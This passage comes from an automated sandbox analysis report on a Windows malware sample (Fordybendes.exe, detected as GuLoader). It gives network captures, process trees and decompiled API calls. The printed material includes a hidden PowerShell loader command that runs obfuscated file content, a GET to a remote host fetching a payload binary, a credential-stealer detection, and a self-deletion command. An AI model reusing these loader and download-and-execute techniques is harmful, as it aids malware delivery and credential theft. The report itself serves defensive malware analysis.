2024-08-29 10:13:08 UTC	16133	IN	Data Raw: 39 24 8e 95 08 15 c1 5b f8 de 89 40 c9 49 ca 68 76 8d 35 e4 fc 5f c1 12 88 b1 ba d6 81 2b e4 ed 7b c7 ed 53 4a 36 6e bf de bc 22 b1 0d 79 fd 09 c1 48 86 85 99 86 07 58 38 83 5e ed 21 f4 17 6b a7 e6 7d f1 cc f1 27 b7 2b f2 ea ed 3c b3 68 f9 2c 6a bc 2c 05 39 69 b8 49 93 64 b2 30 f3 b6 ae 2f 3c e7 ec 9c 75 9f 87 c6 bb 24 e4 c4 ef 12 04 d4 74 6b a9 c4 fe e8 83 16 f1 da 31 36 34 10 0c 1f 47 c6 0f 8c dc b8 9f 10 01 6e 73 1a 63 98 c9 90 39 74 8d 7b 2e 09 c6 96 55 f2 72 a5 11 3d 29 5a c4 fc 15 62 8f 0e d4 08 f5 89 0a a3 11 8b 4f a3 c0 6b 7a 09 b3 16 4d f9 8f 5c fa 97 22 8c 5e a6 12 ea c1 c8 0b 95 e2 dc 0e 99 4b 91 08 f1 14 5a db e9 25 1b 4e 70 00 3b b1 4f 76 0b 8a 4b 1f 66 1d e4 30 5d 31 22 1c 4c 4d 3c 58 8a 69 0e b0 ae ea 06 27 ef 45 df 1b 89 f1 b0 2c ce c0 88 Data Ascii: 9$[@Ihv5_+{SJ6n"yHX8^!k}'+<h,j,9iId0/<u$tk164Gnsc9t{.Ur=)ZbOkzM\"^KZ%Np;OvKf0]1"LM<Xi'E,
2024-08-29 10:13:08 UTC	16384	IN	Data Raw: b9 36 4b 1c 68 22 99 09 32 dd 46 96 68 38 67 9d ee 63 05 a1 9e d2 ad 48 01 e4 b3 af fd a4 60 69 43 8d 34 36 3f cd 62 04 50 eb 07 25 ad 77 08 36 4b e5 eb 0e cc df cf 23 f6 51 ac df 1c a7 91 b6 33 a0 87 07 d3 06 81 ba 20 6b 2d a0 dc 16 a0 fa 2a dd 79 4f b6 40 40 65 04 48 80 dc ab 99 cb 5f 70 b7 b9 75 e7 ae 63 e4 09 98 78 0a fa fc 90 58 b4 c6 0c 1c 9d 8f 53 cd cf cd aa 9b 46 b0 a2 16 49 aa d2 ad cf 17 27 5a cd 0c 43 2e 2d 2b df 77 66 d3 bf 58 74 17 88 08 fe 0f 6e a7 4f 09 89 c2 aa f6 fd 40 45 98 39 68 f0 4f f8 ab 56 79 bb 83 a0 ba 35 df 94 9a 56 ad 60 5a d9 85 93 9e c5 fd e8 4d ce b6 8e f9 3a 8d cf a7 c7 72 93 7f 28 bc 9d 5b 18 55 d2 06 95 08 25 90 aa 39 18 74 41 5e 1c 2b 93 04 d2 b3 5e ff 70 e4 58 21 49 77 6c e1 cd 47 1b 2b c5 68 db 5a 93 05 44 dc d6 8f 0d Data Ascii: 6Kh"2Fh8gcH`iC46?bP%w6K#Q3 k-*yO@@eH_pucxXSFI'ZC.-+wfXtnO@E9hOVy5V`ZM:r([U%9tA^+^pX!IwlG+hZD
2024-08-29 10:13:08 UTC	16384	IN	Data Raw: 4f d6 12 84 d5 0a 30 f7 26 fd 5e d2 87 bc ac a6 0f 12 bb 2e d4 fe db be 5a 7d eb cd 6c f7 e9 85 fc f2 56 a7 a2 28 e9 0d e7 40 87 61 18 3a 91 ed 5a 40 8c 28 4b b2 26 f3 20 d8 c6 75 bd f3 05 c8 71 9f fc 5c fa b3 92 b8 90 57 b8 31 46 4b d8 b2 1e f3 de 0e 79 1d e0 22 ec c9 d8 4d f6 e3 02 96 2e de ed bb 8e 73 2d 76 e7 0a 90 86 53 c1 87 3f ef fc bb 4d 06 38 d3 04 85 61 67 b0 30 cb 15 07 44 0b f0 f7 97 2b ef 7f 71 16 1c 8a a1 32 80 2a ab 9e 84 78 2c c3 f8 1b e3 ff e4 3a fb 16 ec da 0b db 3b 47 f6 f4 cf c0 a8 19 6d 91 97 3b 64 cc 22 ea a9 51 56 29 59 84 1c 9b 4e 9a 15 00 37 91 f2 04 40 06 c8 64 b7 e3 da 66 5e 9f 3d aa 9e 4f e6 dd 75 0a 32 6f ad 74 ee ab be 4f b7 e3 34 a4 f5 8e 62 ea e0 df 4b c2 da 67 a8 e0 a7 bb c9 6c c3 47 91 3a 19 25 59 32 a4 11 3f 58 20 50 05 Data Ascii: O0&^.Z}lV(@a:Z@(K& uq\W1FKy"M.s-vS?M8ag0D+q2*x,:;Gm;d"QV)YN7@df^=Ou2otO4bKglG:%Y2?X P
2024-08-29 10:13:08 UTC	16384	IN	Data Raw: b4 cd 72 f8 c0 73 b0 46 c0 1c af fc 27 93 d0 0f db 5e 5f 29 3c c8 d0 a5 00 96 45 55 e8 a2 4a 69 00 1e 1f c2 89 6d 24 7b f8 66 e4 6b 74 45 fc 32 43 19 f7 b7 8f b2 38 64 72 0f 16 bc 27 43 e9 f0 63 e5 48 41 bb 2a f1 bd 30 12 09 ca 53 6c 28 fc 46 81 cb 2c ee 6d 07 6b 3f 15 9d cb 29 60 65 24 cb 19 96 28 54 97 e5 eb e2 04 76 97 12 14 e6 99 c1 81 73 b2 1f f3 65 de e4 8a e2 ea 32 87 55 d9 71 e0 7d 8d 35 87 46 19 13 76 a7 a9 ca 3a 94 28 20 40 d4 fd d3 3b 20 92 aa 92 51 c2 b3 b3 94 17 f1 9f 6e dc bf b8 ba 30 6a 12 ac 9b e1 ad c1 68 33 f2 a7 06 6e d5 c6 16 ad 72 e2 5a 95 33 33 9d 24 51 c6 96 ed 58 fb 12 27 61 9d f9 c3 ac 29 a9 9d ba 25 3f 77 8d 44 db f5 8f 81 51 90 53 dd 28 19 53 8e e6 f4 2c 2e cf 70 76 60 00 ec fb 8b d7 1d a3 70 c9 64 e9 1b d0 94 12 40 e5 1e fa ec Data Ascii: rsF'^_)<EUJim${fktE2C8dr'CcHA*0Sl(F,mk?)`e$(Tvse2Uq}5Fv:( @; Qn0jh3nrZ33$QX'a)%?wDQS(S,.pv`pd@

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.3	62659	5.255.110.9	443	1184	C:\Program Files (x86)\Windows Mail\wab.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-29 10:14:34 UTC	183	OUT	GET /wp-includes/ipfrjK171.bin HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 Host: kenkyo.x24.eu Cache-Control: no-cache
2024-08-29 10:14:35 UTC	251	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 29 Aug 2024 10:14:35 GMT Content-Type: application/octet-stream Content-Length: 114752 Connection: close Last-Modified: Thu, 22 Aug 2024 09:07:58 GMT ETag: "1c040-62041feb64d76" Accept-Ranges: bytes
2024-08-29 10:14:35 UTC	16133	IN	Data Raw: 39 24 8e 95 08 15 c1 5b f8 de 89 40 c9 49 ca 68 76 8d 35 e4 fc 5f c1 12 88 b1 ba d6 81 2b e4 ed 7b c7 ed 53 4a 36 6e bf de bc 22 b1 0d 79 fd 09 c1 48 86 85 99 86 07 58 38 83 5e ed 21 f4 17 6b a7 e6 7d f1 cc f1 27 b7 2b f2 ea ed 3c b3 68 f9 2c 6a bc 2c 05 39 69 b8 49 93 64 b2 30 f3 b6 ae 2f 3c e7 ec 9c 75 9f 87 c6 bb 24 e4 c4 ef 12 04 d4 74 6b a9 c4 fe e8 83 16 f1 da 31 36 34 10 0c 1f 47 c6 0f 8c dc b8 9f 10 01 6e 73 1a 63 98 c9 90 39 74 8d 7b 2e 09 c6 96 55 f2 72 a5 11 3d 29 5a c4 fc 15 62 8f 0e d4 08 f5 89 0a a3 11 8b 4f a3 c0 6b 7a 09 b3 16 4d f9 8f 5c fa 97 22 8c 5e a6 12 ea c1 c8 0b 95 e2 dc 0e 99 4b 91 08 f1 14 5a db e9 25 1b 4e 70 00 3b b1 4f 76 0b 8a 4b 1f 66 1d e4 30 5d 31 22 1c 4c 4d 3c 58 8a 69 0e b0 ae ea 06 27 ef 45 df 1b 89 f1 b0 2c ce c0 88 Data Ascii: 9$[@Ihv5_+{SJ6n"yHX8^!k}'+<h,j,9iId0/<u$tk164Gnsc9t{.Ur=)ZbOkzM\"^KZ%Np;OvKf0]1"LM<Xi'E,
2024-08-29 10:14:35 UTC	16384	IN	Data Raw: b9 36 4b 1c 68 22 99 09 32 dd 46 96 68 38 67 9d ee 63 05 a1 9e d2 ad 48 01 e4 b3 af fd a4 60 69 43 8d 34 36 3f cd 62 04 50 eb 07 25 ad 77 08 36 4b e5 eb 0e cc df cf 23 f6 51 ac df 1c a7 91 b6 33 a0 87 07 d3 06 81 ba 20 6b 2d a0 dc 16 a0 fa 2a dd 79 4f b6 40 40 65 04 48 80 dc ab 99 cb 5f 70 b7 b9 75 e7 ae 63 e4 09 98 78 0a fa fc 90 58 b4 c6 0c 1c 9d 8f 53 cd cf cd aa 9b 46 b0 a2 16 49 aa d2 ad cf 17 27 5a cd 0c 43 2e 2d 2b df 77 66 d3 bf 58 74 17 88 08 fe 0f 6e a7 4f 09 89 c2 aa f6 fd 40 45 98 39 68 f0 4f f8 ab 56 79 bb 83 a0 ba 35 df 94 9a 56 ad 60 5a d9 85 93 9e c5 fd e8 4d ce b6 8e f9 3a 8d cf a7 c7 72 93 7f 28 bc 9d 5b 18 55 d2 06 95 08 25 90 aa 39 18 74 41 5e 1c 2b 93 04 d2 b3 5e ff 70 e4 58 21 49 77 6c e1 cd 47 1b 2b c5 68 db 5a 93 05 44 dc d6 8f 0d Data Ascii: 6Kh"2Fh8gcH`iC46?bP%w6K#Q3 k-*yO@@eH_pucxXSFI'ZC.-+wfXtnO@E9hOVy5V`ZM:r([U%9tA^+^pX!IwlG+hZD
2024-08-29 10:14:35 UTC	16384	IN	Data Raw: 4f d6 12 84 d5 0a 30 f7 26 fd 5e d2 87 bc ac a6 0f 12 bb 2e d4 fe db be 5a 7d eb cd 6c f7 e9 85 fc f2 56 a7 a2 28 e9 0d e7 40 87 61 18 3a 91 ed 5a 40 8c 28 4b b2 26 f3 20 d8 c6 75 bd f3 05 c8 71 9f fc 5c fa b3 92 b8 90 57 b8 31 46 4b d8 b2 1e f3 de 0e 79 1d e0 22 ec c9 d8 4d f6 e3 02 96 2e de ed bb 8e 73 2d 76 e7 0a 90 86 53 c1 87 3f ef fc bb 4d 06 38 d3 04 85 61 67 b0 30 cb 15 07 44 0b f0 f7 97 2b ef 7f 71 16 1c 8a a1 32 80 2a ab 9e 84 78 2c c3 f8 1b e3 ff e4 3a fb 16 ec da 0b db 3b 47 f6 f4 cf c0 a8 19 6d 91 97 3b 64 cc 22 ea a9 51 56 29 59 84 1c 9b 4e 9a 15 00 37 91 f2 04 40 06 c8 64 b7 e3 da 66 5e 9f 3d aa 9e 4f e6 dd 75 0a 32 6f ad 74 ee ab be 4f b7 e3 34 a4 f5 8e 62 ea e0 df 4b c2 da 67 a8 e0 a7 bb c9 6c c3 47 91 3a 19 25 59 32 a4 11 3f 58 20 50 05 Data Ascii: O0&^.Z}lV(@a:Z@(K& uq\W1FKy"M.s-vS?M8ag0D+q2*x,:;Gm;d"QV)YN7@df^=Ou2otO4bKglG:%Y2?X P
2024-08-29 10:14:35 UTC	16384	IN	Data Raw: b4 cd 72 f8 c0 73 b0 46 c0 1c af fc 27 93 d0 0f db 5e 5f 29 3c c8 d0 a5 00 96 45 55 e8 a2 4a 69 00 1e 1f c2 89 6d 24 7b f8 66 e4 6b 74 45 fc 32 43 19 f7 b7 8f b2 38 64 72 0f 16 bc 27 43 e9 f0 63 e5 48 41 bb 2a f1 bd 30 12 09 ca 53 6c 28 fc 46 81 cb 2c ee 6d 07 6b 3f 15 9d cb 29 60 65 24 cb 19 96 28 54 97 e5 eb e2 04 76 97 12 14 e6 99 c1 81 73 b2 1f f3 65 de e4 8a e2 ea 32 87 55 d9 71 e0 7d 8d 35 87 46 19 13 76 a7 a9 ca 3a 94 28 20 40 d4 fd d3 3b 20 92 aa 92 51 c2 b3 b3 94 17 f1 9f 6e dc bf b8 ba 30 6a 12 ac 9b e1 ad c1 68 33 f2 a7 06 6e d5 c6 16 ad 72 e2 5a 95 33 33 9d 24 51 c6 96 ed 58 fb 12 27 61 9d f9 c3 ac 29 a9 9d ba 25 3f 77 8d 44 db f5 8f 81 51 90 53 dd 28 19 53 8e e6 f4 2c 2e cf 70 76 60 00 ec fb 8b d7 1d a3 70 c9 64 e9 1b d0 94 12 40 e5 1e fa ec Data Ascii: rsF'^_)<EUJim${fktE2C8dr'CcHA*0Sl(F,mk?)`e$(Tvse2Uq}5Fv:( @; Qn0jh3nrZ33$QX'a)%?wDQS(S,.pv`pd@
2024-08-29 10:14:35 UTC	16384	IN	Data Raw: ba 60 9c bd d4 e2 57 0e 66 9b c8 83 b4 e0 0a 7a 79 90 5a 4e fb 00 c4 61 16 45 cb d0 12 46 02 94 f4 db 57 d8 45 3f b3 b2 d4 42 af 96 f1 3b eb 12 8d 72 07 ad f0 29 76 0e 3b 69 16 28 bf b1 99 88 52 1b df fa d1 49 f0 63 53 20 84 66 bc 79 eb 0d 4b 74 4f 18 fc 76 3f cc 86 6a 5c 20 f8 93 11 3a c5 da 52 c2 a8 1b 1c 03 66 d3 b5 63 63 da b8 6d e6 cb b6 97 a4 25 85 93 a2 79 22 f4 94 38 3c 2c cf 8a a0 8f 88 27 26 e9 51 46 8d ab fb ae ae f8 13 5e c7 2a 8a 83 13 d3 50 27 14 34 83 f8 aa 9e ed 58 ac 7f 01 0a 31 0e a3 cd 0a f6 66 a2 b9 28 6c ea 84 bc 91 d9 fe fe 33 b0 61 59 e8 5e 82 a4 dc ad 0c 9d a9 c1 c9 a4 1f 0d ee 17 84 ee 61 3e 7d 5f e4 8a c6 a2 c7 cc 1c cd 0b 3e d8 c9 22 48 78 17 67 44 5b f8 c1 c4 14 a6 21 d0 e7 0d e7 23 d5 47 66 6e 01 50 6f 51 ed 7e 03 df b5 92 d5 Data Ascii: `WfzyZNaEFWE?B;r)v;i(RIcS fyKtOv?j\ :Rfccm%y"8<,'&QF^*P'4X1f(l3aY^a>}_>"HxgD[!#GfnPoQ~
2024-08-29 10:14:35 UTC	16384	IN	Data Raw: 8a 7d 56 d9 a9 5e ba 58 56 ae 82 9e 12 33 d5 60 32 ef ee 32 db d9 7a f8 43 d9 c4 1d a3 80 38 3b e6 e1 bd 18 6a 04 38 f0 0e 25 16 69 e6 df 36 66 7c b5 5b 4d 46 ad 31 66 69 ce 0b d9 83 05 8d aa ab 49 5e 8e a9 1f 63 b6 e1 de 4c 20 66 ea a4 47 9e 85 66 87 44 a5 aa 18 cc 10 51 33 bf 2b 2d c5 81 8a e5 14 91 b3 4d 04 0d 04 42 6a c1 6a 53 85 ac c3 71 2e b1 62 3e b1 23 0a 37 8b a6 40 71 98 ad 6f cf 6a 5c 3c 8b 78 9a 27 64 50 d8 db 84 ee b0 1f 07 78 90 75 f1 93 83 03 bc 81 f8 72 98 ff d1 8e 8a 4b 03 89 24 2e ad 7f 3e d3 47 5d 1f 47 14 43 a0 74 9a 0c d8 48 c7 0c 0a 13 3c c1 ed a1 69 95 43 c4 52 d0 97 47 84 16 22 4f cf 0c 0c ab 2f 3c e7 04 67 9a 61 78 4b 3e 54 19 3b 10 a8 06 d4 74 6b 41 9f 17 16 7c 9b 74 a2 cc c9 ca f8 c4 4a a9 39 8c d6 b8 3a 47 1d e6 2f 3f 3f ac f3 Data Ascii: }V^XV3`22zC8;j8%i6f\|[MF1fiI^cL fGfDQ3+-MBjjSq.b>#7@qoj\<x'dPxurK$.>G]GCtH<iCRG"O/<gaxK>T;tkA\|tJ9:G/??
2024-08-29 10:14:35 UTC	16384	IN	Data Raw: aa 59 b8 98 a3 6c fb 87 6b d3 eb 6b ff 75 1f 91 15 3b 7e 29 1b 77 4a a9 32 c6 ee 16 a8 f4 2a bb 20 43 31 62 cd 1a bd e8 fc ef 50 1b 08 54 18 71 d5 1e f3 c8 e6 e9 4d ce a4 52 9c b7 da d9 ae 91 08 a0 04 0e c0 b0 2a 9d e9 20 cb b1 b0 b2 da 1b a3 d7 03 ae bd 20 a8 23 fa a0 7d e3 e3 19 e5 5b 2b 75 61 2e 47 3a 33 a5 73 a6 ae 2a 2f 89 d5 c2 21 b5 ca 97 36 c9 53 4d e9 4b 2a 37 84 e8 cd ac 67 ac 31 23 80 98 c0 6b d7 85 5c 5b 72 58 6c 0a 58 d5 1d 5e 27 44 bd 45 ff ce a4 ba 2b 95 a7 a1 91 6f ad 6f d6 70 a7 46 3a 90 2f 1c 3e dc 1f f8 6b 3a a5 05 98 1b dc 3c 65 c0 03 de 6a e7 d6 90 fa b5 20 95 2b 59 40 d1 11 00 94 94 ea 12 f6 c5 76 37 c7 77 88 21 ec 95 9c 8d bd a6 7d c6 c5 03 71 dd 07 90 9d 5b 02 ae 2c ce 7e d1 4b 25 f1 f5 d6 82 40 8e 7d ff 2a a6 71 f1 96 a6 40 d2 72 Data Ascii: Ylkku;~)wJ2* C1bPTqMR* #}[+ua.G:3s/!6SMK7g1#k\[rXlX^'DE+oopF:/>k:<ej +Y@v7w!}q[,~K%@}*q@r
2024-08-29 10:14:35 UTC	315	IN	Data Raw: 14 e2 fd 45 5a 0b fb 59 18 b4 4e bc 2e bf ca 6c b3 6a dc 7b 62 22 22 f1 5a 0f 81 b7 1d f3 80 12 5b 98 4b 20 40 9a 52 79 64 49 49 35 59 27 46 11 50 3c 70 57 f4 d3 64 34 8b 61 51 0f d6 8e dd 6b 55 06 12 13 be 90 c0 28 7f e6 b2 8c ea cd 61 d5 3f 97 6f e8 1c 59 bb 19 8a e0 02 ca 1f d9 ad 23 83 6b 00 84 b2 76 31 0c 4c 0d fb 5c a8 47 d8 92 3b c4 de 36 1c aa 8b fe 10 c9 1f 23 81 3a 76 f7 9a a5 71 1f f5 97 3f c5 23 72 16 30 f3 4c e6 73 9e 83 e5 47 35 cc 84 e0 88 5c 06 da 9b 33 00 ae 7d 47 01 14 e7 45 fa 52 3e c6 59 94 ca 8c e3 cd 22 cd 50 e3 6d 9b 75 b1 89 fa 5e ad 12 f7 11 58 80 3a bf 95 52 2a 29 43 00 71 ca d7 3b 8b fb af 28 ee a9 49 88 f7 dd bb bb b0 57 91 1c 5f 76 7d bd c6 df 4f f1 1a 44 b8 78 b4 c7 86 6e be f1 60 6b 49 5f ec 72 29 da a7 98 85 c4 65 a8 4d 97 Data Ascii: EZYN.lj{b""Z[K @RydII5Y'FP<pWd4aQkU(a?oY#kv1L\G;6#:vq?#r0LsG5\3}GER>Y"Pmu^X:R*)Cq;(IW_v}ODxn`kI_r)eM

Target ID:	0
Start time:	06:11:43
Start date:	29/08/2024
Path:	C:\Users\user\Desktop\Fordybendes.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\Fordybendes.exe"
Imagebase:	0x400000
File size:	1'905'008 bytes
MD5 hash:	21EA616CF4F0DF2053BEAE6F4C625213
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	06:11:45
Start date:	29/08/2024
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	"powershell.exe" -windowstyle hidden "$Cardinalfishes=Get-Content 'C:\Users\user\AppData\Local\stagnantness\topchef\Fletcher\Fiskestimes\Statsskattedepartement.Und';$Ventricolumnar=$Cardinalfishes.SubString(54973,3);.$Ventricolumnar($Cardinalfishes)"
Imagebase:	0x1d0000
File size:	457'216 bytes
MD5 hash:	3F92A35BA26FF7A11A49E15EFE18F0C2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_GuLoader_2, Description: Yara detected GuLoader, Source: 00000002.00000002.2755466029.000000000B3AD000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	06:11:45
Start date:	29/08/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff720030000
File size:	873'472 bytes
MD5 hash:	7366FBEFE66BA0F1F5304F7D6FEF09FE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	06:12:54
Start date:	29/08/2024
Path:	C:\Program Files (x86)\Windows Mail\wab.exe
Wow64 process (32bit):	true
Commandline:	"C:\Program Files (x86)\windows mail\wab.exe"
Imagebase:	0x270000
File size:	516'608 bytes
MD5 hash:	D11C02600774E4206E5CEF3AB43C813C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000007.00000002.3212287600.0000000025B50000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	06:14:45
Start date:	29/08/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\system32\cmd.exe" /c C:\Windows\system32\timeout.exe 3 & del "wab.exe"
Imagebase:	0xb80000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	06:14:45
Start date:	29/08/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff720030000
File size:	873'472 bytes
MD5 hash:	7366FBEFE66BA0F1F5304F7D6FEF09FE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	06:14:46
Start date:	29/08/2024
Path:	C:\Windows\SysWOW64\timeout.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\timeout.exe 3
Imagebase:	0xd40000
File size:	25'088 bytes
MD5 hash:	976566BEEFCCA4A159ECBDB2D4B1A3E3
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	18.7%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	17.4%
Total number of Nodes:	1354
Total number of Limit Nodes:	25

Executed Functions

Function 004033A2 Relevance: 91.4, APIs: 32, Strings: 20, Instructions: 430
stringfilecomCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetErrorMode.KERNELBASE(00008001), ref: 004033C5
GetVersionExA.KERNEL32(?), ref: 004033EE
GetVersionExA.KERNEL32(0000009C), ref: 00403405
lstrlenA.KERNEL32(UXTHEME,UXTHEME), ref: 004034CE
#17.COMCTL32(?,00000008,0000000A,0000000C), ref: 0040350B
OleInitialize.OLE32(00000000), ref: 00403512
SHGetFileInfoA.SHELL32(0041F8E0,00000000,?,00000160,00000000,?,00000008,0000000A,0000000C), ref: 00403530
GetCommandLineA.KERNEL32(Formerer Setup,NSIS Error,?,00000008,0000000A,0000000C), ref: 00403545
CharNextA.USER32(00000000,"C:\Users\user\Desktop\Fordybendes.exe",00000020,"C:\Users\user\Desktop\Fordybendes.exe",00000000,?,00000008,0000000A,0000000C), ref: 0040357F
GetTempPathA.KERNELBASE(00000400,C:\Users\user\AppData\Local\Temp\,00000000,00000020,?,00000008,0000000A,0000000C), ref: 00403678
GetWindowsDirectoryA.KERNEL32(C:\Users\user\AppData\Local\Temp\,000003FB,?,00000008,0000000A,0000000C), ref: 00403689
lstrcatA.KERNEL32(C:\Users\user\AppData\Local\Temp\,\Temp,?,00000008,0000000A,0000000C), ref: 00403695
GetTempPathA.KERNEL32(000003FC,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,\Temp,?,00000008,0000000A,0000000C), ref: 004036A9
lstrcatA.KERNEL32(C:\Users\user\AppData\Local\Temp\,Low,?,00000008,0000000A,0000000C), ref: 004036B1
SetEnvironmentVariableA.KERNEL32(TEMP,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,Low,?,00000008,0000000A,0000000C), ref: 004036C2
SetEnvironmentVariableA.KERNEL32(TMP,C:\Users\user\AppData\Local\Temp\,?,00000008,0000000A,0000000C), ref: 004036CA
DeleteFileA.KERNELBASE(1033,?,00000008,0000000A,0000000C), ref: 004036DE
OleUninitialize.OLE32(?,?,00000008,0000000A,0000000C), ref: 00403789
ExitProcess.KERNEL32 ref: 004037AA
lstrlenA.KERNEL32(C:\Users\user\AppData\Local\Temp\,"C:\Users\user\Desktop\Fordybendes.exe",00000000,?,?,00000008,0000000A,0000000C), ref: 004037B9
wsprintfA.USER32 ref: 00403810
GetFileAttributesA.KERNEL32(00426400,C:\Users\user\AppData\Local\Temp\,00426400,?,0000000C), ref: 00403842
DeleteFileA.KERNEL32(00426400), ref: 0040384E
SetCurrentDirectoryA.KERNEL32(C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00426400,?,0000000C), ref: 0040387A
CopyFileA.KERNEL32(C:\Users\user\Desktop\Fordybendes.exe,00426400,00000001), ref: 00403890
CloseHandle.KERNEL32(00000000,"$Cardinalfishes=Get-Content ',"$Cardinalfishes=Get-Content ',?,00426400,00000000), ref: 004038E3
GetCurrentProcess.KERNEL32(00000028,?,00000008,0000000A,0000000C), ref: 00403900
OpenProcessToken.ADVAPI32(00000000), ref: 00403907
LookupPrivilegeValueA.ADVAPI32(00000000,SeShutdownPrivilege,?), ref: 0040391B
AdjustTokenPrivileges.ADVAPI32(?,00000000,?,00000000,00000000,00000000), ref: 0040393A
ExitWindowsEx.USER32(00000002,80040002), ref: 0040395F
ExitProcess.KERNEL32 ref: 00403980

Strings

Low, xrefs: 004036AB
C:\Users\user\Desktop\Fordybendes.exe, xrefs: 0040388B
~nsu%X.tmp, xrefs: 00403808
C:\Users\user\AppData\Local\Temp\, xrefs: 0040366D, 00403672, 00403688, 00403694, 004036A3, 004036B0, 004036BC, 004036C4, 004037B5, 0040382E, 0040385A, 00403879, 00403882
Error launching installer, xrefs: 00403742
C:\Users\user\AppData\Local\stagnantness\topchef, xrefs: 0040365D, 0040375C, 004037CD, 004037DB
UXTHEME, xrefs: 004034C2, 004034C7, 004034CD
"C:\Users\user\Desktop\Fordybendes.exe", xrefs: 0040354B, 00403551, 00403700
TEMP, xrefs: 004036BD
TMP, xrefs: 004036C5
C:\Users\user\Desktop, xrefs: 004037D6
NSIS Error, xrefs: 00403536
A, xrefs: 00403440
"$Cardinalfishes=Get-Content ', xrefs: 004037FA, 004038B1, 004038B7
C:\Users\user\AppData\Local\stagnantness\topchef\Fletcher\Fiskestimes\sitre, xrefs: 00403767
1033, xrefs: 004036D9
", xrefs: 004035A2
Formerer Setup, xrefs: 0040353B
SeShutdownPrivilege, xrefs: 00403915
\Temp, xrefs: 0040368F

Memory Dump Source

Source File: 00000000.00000002.1419120666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1419106465.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419136539.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419155347.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419155347.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419155347.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419155347.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419155347.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419231683.0000000000433000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Fordybendes.jbxd

Similarity

API ID: File$Process$Exit$CurrentDeleteDirectoryEnvironmentPathTempTokenVariableVersionWindowslstrcatlstrlen$AdjustAttributesCharCloseCommandCopyErrorHandleInfoInitializeLineLookupModeNextOpenPrivilegePrivilegesUninitializeValuewsprintf
String ID: "$"$Cardinalfishes=Get-Content '$"C:\Users\user\Desktop\Fordybendes.exe"$1033$A$C:\Users\user\AppData\Local\Temp\$C:\Users\user\AppData\Local\stagnantness\topchef$C:\Users\user\AppData\Local\stagnantness\topchef\Fletcher\Fiskestimes\sitre$C:\Users\user\Desktop$C:\Users\user\Desktop\Fordybendes.exe$Error launching installer$Formerer Setup$Low$NSIS Error$SeShutdownPrivilege$TEMP$TMP$UXTHEME$\Temp$~nsu%X.tmp
API String ID: 2956269667-1665761163
Opcode ID: 888e42e03041c9896479bb338c7f9ab60795f25b595a815076ba3b5ffddc8426
Instruction ID: 9fadc8101539d075edd42acb6db2faaacee932f39b19a2a7e6831d37722d48ca
Opcode Fuzzy Hash: 888e42e03041c9896479bb338c7f9ab60795f25b595a815076ba3b5ffddc8426
Instruction Fuzzy Hash: 4BF1F770A04254AADB21AFB59D49B6F7EB8AF41706F0440BFF541B61D2CB7C4A41CB2E

Function 004054D9 Relevance: 65.0, APIs: 36, Strings: 1, Instructions: 282
windowclipboardmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetDlgItem.USER32(?,00000403), ref: 00405538
GetDlgItem.USER32(?,000003EE), ref: 00405547
GetClientRect.USER32(?,?), ref: 00405584
